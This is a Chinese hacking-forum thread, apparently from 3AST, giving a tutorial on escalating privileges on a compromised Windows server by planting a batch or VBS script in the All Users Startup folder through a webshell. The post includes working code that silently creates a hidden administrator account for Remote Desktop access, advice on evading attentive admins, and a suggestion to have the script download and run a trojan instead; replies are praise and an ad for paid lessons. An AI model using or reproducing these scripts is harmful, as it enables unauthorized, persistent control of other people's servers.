返回列表 发帖

[原创教程] 3AST提权课程之启动项提权

大家好,我是完美蚂蚁 今天给大家带来的提权教程是) ?% D3 O0 G( N) @  A
启动 提权
* ]9 D. z# X" z5 W0 b  \% UC:\Docume~1\All Users\「开始」菜单\程序\启动* Q$ C* ^9 K: t* l5 V; q
在这里必须有写入权限 否则此方法无效4 t$ M7 u; i% R# q& f
因为我是在网吧 这里显示不了路径
$ S, S6 ?- _' O8 C我去服务器上演示给大家看# }) C. \2 v& t, R- n; j
大家看到了把 就是这个路径 在这个里面写入文件 等候服务器从起 就会自动执行我们的) B- \/ M% G( F! X3 r& s2 p
文件 从而运行我们的文件/ \( E+ s( f- `. [* `) _1 x
这里有两中方式 第一种是批处理, e. w' ~* v+ w4 ^, P# a8 f+ [2 [2 g
我们来看下目前 我机器上的用户组5 s) K8 H* p! c6 F
目前我们没有521这个用户
2 W  H$ i3 q/ L看到了把 已经添加到管理组中去了 刚才我们运行程序的时候 一闪而过一个黑色提示
% W: m% m  ^! {0 j# W大家看到了吧  如果是在服务器上运行 一样会有这个提示的 细心的管理员有可能发现
$ }" D9 ~- i6 h/ h4 H  I( `( ~! a下面我们来介绍第二中方法使用VBS脚本 大家都知道VBS脚本是没有这个提示的; i2 B* k% g0 ?9 y7 o
大家看 已经成功加入了WMMY用户
+ r# Q5 Z+ h5 K% S网络实战才是我们练手的目的 我已经找到一个含有这种漏洞的WBESHELL了
6 }( b9 c( x  Y- j当前终端服务端口: 3389
4 q( p& |( ~- x0 g$ @# Q系统自动登录功能未开启
9 N: H- _2 D& S, S" P; E3389 已经打开了 我们只需要拥有一个管理员权限的用户就可以了
" W6 \3 f/ y( M, PC:\Docume~1\All Users\「开始」菜单\程序\启动 这个是默认的路径  e5 H+ e7 {: K: k0 K5 O
第一种隐蔽性太差  我们就用第二种吧
* g  x4 A( }( v; F9 ]已经写入了 我们只需要等待服务器从起 那个VBS脚本文件就会把我们的用户加入进去; L8 L8 i+ {+ S. j9 |) M* F* P
从而取得了3389的登陆权限
5 O: O# u6 N8 t4 P其实在VBS脚本中 我们不一定需要添加管理员帐户可以 直接让VBS下载运行我们的木马$ l/ G" l( F: g* a) U3 @9 l  D, G
基本原理都差不多  我就不多介绍了
8 L/ C2 ]' x0 i( ^8 k9 l! k7 y" i% I' e教程结束```
* b& s2 u( \0 R: S+ R" g@echo off
! T; \7 [6 u5 K/ X. |% }- Rnet user 521 521 /add3 v( m6 t* \, g+ Q$ Z: _) r
net localgroup administrators 521 /add0 @* b. ]% a4 B) _. x* N: F
  L9 E# ]/ l; t* ?
on Error Resume next
" a; E; X0 ]' e( K* \set wshshell=createobject("wscript.shell"). l* p1 k4 \( T- [1 H
a=wshshell.run("net user wmmy$ 1227 /add",0)3 F' w9 c3 q& `/ r: {
a=wshshell.run("net localgroup administrators wmmy$ /add",0)  O7 Y5 c/ W: ?, H  `

# M& l5 {2 _! X. s$ X, [
4 y! @( Q3 r1 L点击下载! s% r. O+ ?! G3 X: Y( g\" F3 u
2

评分人数

  • 柔肠寸断

  • zhuyahui

顶下小柔: A4 x: u* c# r0 @
看看~;P

TOP

顶下~一下加这么多啊~BS下~:lol

TOP

写的不错哦~~~~~- s) G% q) X: b+ N$ G# k5 D

+ d4 G: y' z) E& {$ Z5 O昨天有事情没有上了
希望做站长本人的学生请点击
http://www.3ast.com/viewthread.php?tid=13841
QQ790653916只负责SEO以及收费教学等方面联系,他人勿扰

于智者同行,你会不同凡响;与高人为伍,你会登上巅峰

TOP

+个分 能要是管理的权限啊~。

TOP

不建议是用纳米~~很垃圾~。

TOP

返回列表